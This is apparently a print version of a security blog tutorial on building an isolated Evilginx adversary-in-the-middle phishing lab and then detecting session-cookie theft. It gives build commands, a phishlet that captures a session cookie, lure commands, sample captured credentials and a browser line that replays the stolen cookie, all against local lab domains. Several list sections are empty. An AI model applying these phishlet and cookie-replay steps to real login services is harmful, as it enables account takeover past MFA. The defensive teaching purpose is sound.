Print-ready version Back to the article
HMMNM Security
hmmnm.com

Identity & Phishing

Build an AiTM Phishing Lab with Evilginx: Understanding Session Cookie Theft and Detection

By Prabhu Kalyan Samal | Published 10 October 2026 | 10 min read

https://hmmnm.com/build-an-aitm-phishing-lab-with-evilginx-understanding-session-cookie-theft-and-detection/

10 min read · 1,996 words

TL;DR: How Evilginx Steals Sessions and How You Detect It

Evilginx is an adversary-in-the-middle (AiTM) framework that proxies the real login page to a victim, capturing both credentials and session cookies as they flow through the attacker’s server — defeating MFA entirely. Detection hinges on three signal classes: impossible-travel and token-replay anomalies, lookalike-domain and certificate-pattern infrastructure indicators, and reverse-proxy TLS fingerprints.

Traditional phishing defense assumed attackers would steal a password and get stopped at the MFA gate. AiTM kits like Evilginx, EvilProxy, and Tycoon 2MF throw that assumption out the window — the attacker doesn’t guess your token, they consume it for you. This guide walks you through building a fully isolated Evilginx phishing lab so you can see the attack mechanics firsthand, then flips to the blue-team side: the detection signals that actually catch session theft.

Prerequisites and Lab Safety Rules

Before you touch Evilginx, internalize the boundary. Evilginx is a dual-use offensive tool; running it against real domains, real accounts, or any system you don’t own is a criminal offense in most jurisdictions — unauthorized computer access under laws like the U.S. Computer Fraud and Abuse Act or the UK Computer Misuse Act. CISA’s advisory on AiTM phishing (AA22-280A) documents the real-world damage these kits cause; don’t add to it.

Your lab safety rules:

Lab Architecture: Attacker Box, Victim VM, and a Mock Login App

You need three nodes on an isolated subnet — say 192.168.56.0/24 in host-only mode:

The mock app is deliberate. Practicing against a local application teaches you phishlet mechanics — proxy rules, domain substitution, cookie capture — without touching a real identity provider. Map app.lab.local to the target server and login.lab.local (your phishing hostname) to the attacker box in a lab DNS zone (dnsmasq on the attacker box works well).

Installing and Configuring Evilginx

Evilginx is written in Go; install Go 1.20+, then clone and build:

git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2
make
sudo ./bin/evilginx -p ./phishlets

Key configuration concepts:

Evilginx normally auto-provisions Let’s Encrypt certificates; in an offline lab, use its -developer mode and self-signed certs, then import the CA into the victim browser’s trust store.

Writing a Custom Phishlet for Your Mock App

A phishlet is a YAML config defining the target domain, proxy hosts, subfilters, and which auth cookies the kit should capture. A minimal skeleton for your mock app:

name: labapp
proxy_domains:
  - phishing_host: login.lab.local
    target_domain: app.lab.local
subfilters:
  - hostname: app.lab.local
    search: https://app.lab.local
    replace: https://login.lab.local
auth_tokens:
  - domain: app.lab.local
    keys: ["session"]
    type: cookie

What each section does:

Activate with evilginx phishlets hostname labapp login.lab.local and evilginx lures create labapp. The lure URL is your phishing link.

Running the Phish: Victim Login Walkthrough

On the victim VM, open the browser and hit the lure URL. What happens next is the whole AiTM lesson:

  1. The victim sees the genuine login page — pixel-identical, because it is the real page, fetched live from your mock app through the proxy.
  2. Victim enters credentials. They go to Evilginx, which logs them and forwards them upstream.
  3. Your app issues its static OTP challenge. Same deal — victim types it into the proxied page; Evilginx relays it and logs it.
  4. The app sets the session cookie. Evilginx captures it via the auth_tokens rule, then passes it to the victim’s browser so the login completes normally.

Evilginx output at capture looks like this (trimmed):

[2025-01-14 10:42:07] [labapp] hostname : login.lab.local
[2025-01-14 10:42:19] session_id : r4nd0ms3ss10n1d
[2025-01-14 10:42:19] username   : victim1
[2025-01-14 10:42:19] password   : LabPass!2025
[2025-01-14 10:42:31] [auth] captured cookie: session=eyJhbGci... (domain: app.lab.local)

Copy the session with evilginx sessions get 1. Note the absence of any error, delay, or anomaly on the victim side — that’s the problem in a nutshell.

Now demonstrate hijacking. On the attacker box — or anywhere with network reach to the target, which is exactly the point — open a browser and import the cookie. A cookie editor extension or the browser devtools console works:

document.cookie = "session=eyJhbGci...; path=/; domain=app.lab.local";

Navigate to the app. You’re in. No credentials, no OTP prompt, no MFA push. The application cannot distinguish you from the victim — your session cookie is the victim as far as it’s concerned. This is session hijacking via token theft, mapped by OWASP to the Session Side Effects and authentication-bypass patterns in its Session Management Cheat Sheet (owasp.org).

Why MFA Doesn’t Stop AiTM Attacks

Here’s the mechanism, precisely. Standard MFA — TOTP codes, push approvals, SMS OTP — authenticates a login flow, not a session. Because Evilginx sits in the middle of the flow, the MFA challenge is consumed by the attacker on the victim’s behalf. The victim types the code into a real-looking page; the code reaches the real IdP through the proxy; the resulting session token flows back through the attacker’s hands before reaching the victim. The attacker then reuses the token in their own browser.

MFA was never designed to withstand this. It verifies that someone holding the user’s second factor is present during login — and the attacker made sure they were, just via a proxy. Phishing-resistant methods (covered below) fail closed because they cryptographically bind the ceremony to the legitimate origin, which the proxy cannot fake.

Detection Signal 1: Session Anomalies and Impossible Travel

The attacker won the login; they still have to use the session — and that’s where telemetry shows up:

Microsoft’s detection guidance for AiTM (technique T1557 in MITRE ATT&CK, and T1185 for browser session hijacking) is a solid reference for building these analytics (attack.mitre.org).

Detection Signal 2: Infrastructure and TLS Indicators

Network-level signals appear before the session is ever stolen:

Defenses That Actually Work Against AiTM

Layer these — no single control is sufficient:

Tearing Down the Lab and Further Practice

Clean up properly: revert all VMs to snapshots, delete the lab DNS zone and any imported self-signed CA from the victim’s trust store, and wipe Evilginx session data (~/.evilginx/). Leave nothing running — a forgotten proxy listening on any reachable interface is a risk you don’t want.

Extensions for continued practice:

Frequently Asked Questions

Yes — in a fully isolated lab, against applications and accounts you own. Using Evilginx against real domains, live accounts, or third-party systems is illegal in most jurisdictions under computer misuse and fraud laws. Keep the lab off any network with internet access and use only local domains.

Does MFA protect against Evilginx-style attacks?

No. Standard OTP and push-based MFA are proxied transparently — the attacker consumes the challenge on the victim’s behalf and walks away with the resulting session token. Only phishing-resistant methods like FIDO2/passkeys stop token capture, because they cryptographically bind authentication to the legitimate origin.

How do blue teams detect AiTM phishing?

Session token replay from unfamiliar IPs and user agents, impossible-travel sign-in anomalies, lookalike domains surfacing in certificate transparency logs, and reverse-proxy TLS fingerprints (JA3/JA4 mismatches) are the core signals.

What is a phishlet in Evilginx?

A YAML configuration file defining the target domain, proxy hostnames, body-rewriting subfilters, and which auth cookies the kit should capture. Phishlets are the adaptable payload of the framework — one per targeted identity provider.

Phishing-resistant MFA (passkeys), device-bound tokens, conditional access with device compliance checks, and short session lifetimes. Layered together, they remove both the initial capture and the replay opportunity.

HMMNM Security · Independent security research and education · hmmnm.com
Printed from https://hmmnm.com/build-an-aitm-phishing-lab-with-evilginx-understanding-session-cookie-theft-and-detection/
© 2026 HMMNM Security. For personal and internal team use. Please link to the original article when sharing.